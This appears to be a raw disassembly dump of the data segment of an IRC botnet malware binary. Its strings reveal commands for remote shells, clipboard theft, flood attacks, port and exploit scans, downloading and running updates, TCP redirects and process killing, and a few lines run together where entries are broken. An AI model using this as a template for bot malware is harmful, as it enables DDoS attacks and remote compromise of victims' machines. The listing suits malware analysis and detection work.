dword_428BF4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004105CEo
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_428C20	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:loc_410531o
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_428C54	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0041052Ao
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 10h
dword_428C90	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0041050Eo
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_428CCC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004104F8o
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: seg000:004104CAo
		align 10h
unk_428D10	db    2			; DATA XREF: seg000:loc_4104BAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 10h
unk_428D50	db    2			; DATA XREF: seg000:0041049Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_428D88	db    2			; DATA XREF: seg000:loc_41048Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_428DC8	db    2			; DATA XREF: seg000:loc_410488o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_428E08	db    2			; DATA XREF: seg000:00410481o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 10h
unk_428E40	db    2			; DATA XREF: seg000:00410403o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start server thread, error: <%d>.',0
unk_428E8C	db    2			; DATA XREF: seg000:00410291o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_10	db 'Failed to start server thread, error: <%d>.',0
unk_428ED8	db    2			; DATA XREF: seg000:00410169o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 4
dword_428F0C	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:loc_410153o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_11	db '  Failed to start scan, port is invalid.',0
		align 4
dword_428F58	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:00410094o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_428FD4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040FE54o
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_42900C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040FE3Bo
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_429040	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040FE1Bo
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_429074	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040FE02o
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_4290A0	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_40FD84o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 10h
dword_4290E0	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040FD7Do
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_429118	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_40FD37o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_429154	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040FD2Do
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: seg000:0040FD13o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:0040FC88o
					; seg000:loc_410A93o
		align 4
dword_4291A4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040FC12o
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_4291DC	db    2			; DATA XREF: seg000:loc_40FBFDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_429214	db    2			; DATA XREF: seg000:0040FBF3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_429244	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040FBCAo
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_42927C	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:loc_40FBAEo
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_4292B8	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:0040FB80o
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_4292E8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_40FB4Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_42932C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040FB42o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 4
dword_429364	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_40FAECo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 4
dword_4293AC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040FAE5o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
		dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_429414	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040FA1Fo
		dd 2029206Ch, 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_42944C	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:0040F9ADo
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
unk_429474	db    2			; DATA XREF: seg000:0040F992o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_12	db 'Failed to start connection thread, error: <%d>.',0
dword_4294C4	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: seg000:0040F923o
		dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h,	2E732520h
		dd 0
dword_4294F0	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: seg000:loc_40F8B4o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_429520	db    2			; DATA XREF: seg000:0040F8AAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_429550	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040F879o
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_42957C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040F86Eo
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_4295BC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F82Eo
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 10h
dword_4295F0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F81Ao
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_429628	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F795o
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_429654	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F75Ao
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_429698	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F73Eo
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 10h
dword_4296D0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F6BCo
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 10h
dword_429700	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F681o
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 10h
dword_429730	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F62Bo
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_429760	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F5C3o
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_429788	dd 54524150h, 0D732520h, 0Ah					; seg000:0040FE0Do
dword_429794	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F55Ao
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040F54Co
		align 10h
dword_4297D0	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040F523o
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_429800	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040F4B8o
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_429830	dd 45444F4Dh, 732520hdword_429838	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040F42Eo
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_429868	dd 4B43494Eh, 732520h					; seg000:0040FC54o
dword_429870	dd 4E494F4Ah, 20732520h, 7325hdword_42987C	dd 0A0D7325h, 0						; seg000:0040F40Do ...
dword_429884	dd 54524150h, 732520hdword_42988C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_40F33Co
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_4298D4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F305o
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: seg000:0040F2B4o
		align 4
dword_429908	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_40F26Co
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_429930	dd 25207325h, 73252073h, 73253A20h, 0					; seg000:0040F2DFo ...
unk_429940	db    2			; DATA XREF: seg000:loc_40F1DBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_429998	db    2			; DATA XREF: seg000:0040F1D1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_4299E8	db    2			; DATA XREF: seg000:0040F162o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: seg000:0040F0BCo
		align 4
unk_429A34	db    2			; DATA XREF: seg000:0040F05Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
		db 2 dup(20h), 43h
		db  6Fh	; o
		db 2 dup(6Dh), 61h
		db  6Eh	; n
		db 64h,	73h, 3Ah
		db  20h
		db 25h,	73h, 0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_429A98	db    2			; DATA XREF: seg000:0040EFBCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_429AE8	db    2			; DATA XREF: seg000:0040EF42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_429B2C	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:loc_40EEA4o
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_429B4C	db    2			; DATA XREF: seg000:0040EE8Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_429B84	db    2			; DATA XREF: seg000:loc_40EE6Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_429BD0	db    2			; DATA XREF: seg000:0040EE63o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_429C1C	db    2			; DATA XREF: seg000:0040EDE9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_429C5C	db    2			; DATA XREF: seg000:0040ED72o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_14	db ' Failed to start clone thread, error: <%d>.',0
unk_429CA8	db    2			; DATA XREF: seg000:0040ED03o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_429CEC	db    2			; DATA XREF: seg000:0040EC7Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_15	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_429D38	db    2			; DATA XREF: seg000:0040EC03o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_429D7C	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:0040EB6Eo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_429DC8	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:0040EAF4o
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_429E08	db    2			; DATA XREF: seg000:0040EA84o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_429E5C	db    2			; DATA XREF: seg000:0040EA15o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_429E9C	db    2			; DATA XREF: seg000:0040E946o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_17	db '  Failed to start redirection thread, error: <%d>.',0
unk_429EF0	db    2			; DATA XREF: seg000:0040E8D7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 10h
unk_429F40	db    2			; DATA XREF: seg000:0040E84Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_429F90	db    2			; DATA XREF: seg000:0040E7DDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: seg000:0040E759o
		align 10h
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: seg000:0040E65Co
		align 10h
dword_42A000	dd 54434101h, 204E4F49h, 17325h					; seg000:0040F60Co
dword_42A00C	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040E56Fo
					; seg000:00410105o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_19	db '  Failed to start scan thread, error: <%d>.',0
dword_42A058	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
